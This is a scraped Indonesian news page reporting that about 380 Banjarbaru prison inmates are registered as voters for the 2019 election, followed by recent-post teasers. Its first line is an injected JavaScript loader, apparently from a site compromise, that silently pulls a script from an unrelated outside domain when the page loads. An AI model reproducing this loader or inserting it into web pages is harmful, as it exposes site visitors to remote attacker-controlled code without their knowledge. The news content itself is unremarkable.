(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

380 Penghuni Lapas Banjarbaru Sudah Terdata sebagai Pemilih Pemilu 2019


BANJARBARU, KPU Banjarbaru sudah terima hampir 380 dari 1.600 daftar identitas penghuni lapas di Banjarbaru yang nantinya akan mencoblos di Pemilu 2019. Hal ini disampaikan Komisioner KPU Banjarbaru Muhammad Wahyu NZ, kepada Kanal Kalimantan, Jumat (15/3).

“Untuk penghuni di Lapas Banjarbaru, datanya yang masuk kekita lebih dari 380 orang. Mereka sudah didata dengan dimintakan identitasnya sebagai pembuktian, dan tercantum sebagai daftar pemilih,” terangnya.

Sementara untuk warga di luar Kota Banjarbaru, khususnya yang terdaftar dan mempunyai identitas yang sudah valid, KPU Banjarbaru sendiri sudah membuatkan A5 sebagai metode pindah memilih untuk sebagian penghuni lapas.  “Selain dengan A5 untuk yang wilayah luar Kota Banjarbaru, mereka juga akan kita buatkan TPS Khusus dilapas tersebut,” ujarnya.

Terkait banyaknya penghuni lapas Banjarbaru yang saat ini masih tidak memiliki identitas yang valid seperti tidak memiliki NIK, KTP,KK hingga hanya menggunakan nama samaran, apakah mereka terpaksa harus tidak memilih atau Golput?

“Memang benar masih banyak napi yang masih tidak memiliki identitas yang valid, namun kita sudah memintakan kepada pihak lapas, mungkin saja ada keluarga penghuni lapas yang memegang KK dan KTPnya, itu sudah diusahakan pihak lapas sudah semaksimal mungkin,” jelas Wahyu.

Apabila berbagai upaya sudah dilakukan, penghuni lapas masih tidak ada juga memiliki identitas, padahal mereka ada kemauan untuk memilih. Setiap warga negara ada hak untuk memilih, apakah mereka terpaksa tidak bisa memilih.

“Mereka yang tidak memiliki identitas, saya tidak mengatakan mereka harus golput, KPU Banjarbaru tidak bisa berdiri sendiri memutuskan itu, kami hanya mengikuti Undang-undang, peraturan KPU, dan keputusan KPU, jadi terpaksa memang tidak bisa memilih, karena tidak ada bukti identitasnya,”pungkasnya. (rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

2 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

3 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

4 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

5 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

20 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

23 jam ago

This website uses cookies.